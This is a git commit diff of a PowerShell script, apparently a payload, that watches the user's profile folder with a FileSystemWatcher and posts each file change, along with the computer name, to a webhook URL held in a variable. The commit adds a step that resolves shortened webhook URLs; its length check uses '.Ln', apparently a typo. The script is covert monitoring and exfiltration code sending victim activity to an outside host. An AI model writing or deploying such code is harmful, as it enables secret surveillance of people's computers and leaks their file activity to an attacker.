Update main.ps1
This commit is contained in:
@@ -1,4 +1,6 @@
|
|||||||
$whuri = "$dc"
|
$whuri = "$dc"
|
||||||
|
# shortened URL Detection
|
||||||
|
if ($whuri.Ln -ne 121){Write-Host "Shortened Webhook URL Detected.." ; $whuri = (irm $whuri).url}
|
||||||
|
|
||||||
$watcher = New-Object System.IO.FileSystemWatcher -Property @{
|
$watcher = New-Object System.IO.FileSystemWatcher -Property @{
|
||||||
Path = $env:USERPROFILE + '\'
|
Path = $env:USERPROFILE + '\'
|
||||||
@@ -12,10 +14,10 @@ $action = {
|
|||||||
$path = $event.FullPath
|
$path = $event.FullPath
|
||||||
$changeType = $event.ChangeType
|
$changeType = $event.ChangeType
|
||||||
$timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
|
$timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
|
||||||
|
|
||||||
$msgsys = "[$timestamp] File $changeType > $path"
|
$msgsys = "[$timestamp] File $changeType > $path"
|
||||||
$escmsgsys = $msgsys -replace '[&<>]', {$args[0].Value.Replace('&', '&').Replace('<', '<').Replace('>', '>')}
|
$escmsgsys = $msgsys -replace '[&<>]', {$args[0].Value.Replace('&', '&').Replace('<', '<').Replace('>', '>')}
|
||||||
$jsonsys = @{"username" = "$env:COMPUTERNAME" ;"content" = $escmsgsys} | ConvertTo-Json
|
$jsonsys = @{"username" = "$env:COMPUTERNAME" ;"content" = $escmsgsys} | ConvertTo-Json
|
||||||
Invoke-RestMethod -Uri $whuri -Method Post -ContentType "application/json" -Body $jsonsys
|
Invoke-RestMethod -Uri $whuri -Method Post -ContentType "application/json" -Body $jsonsys
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user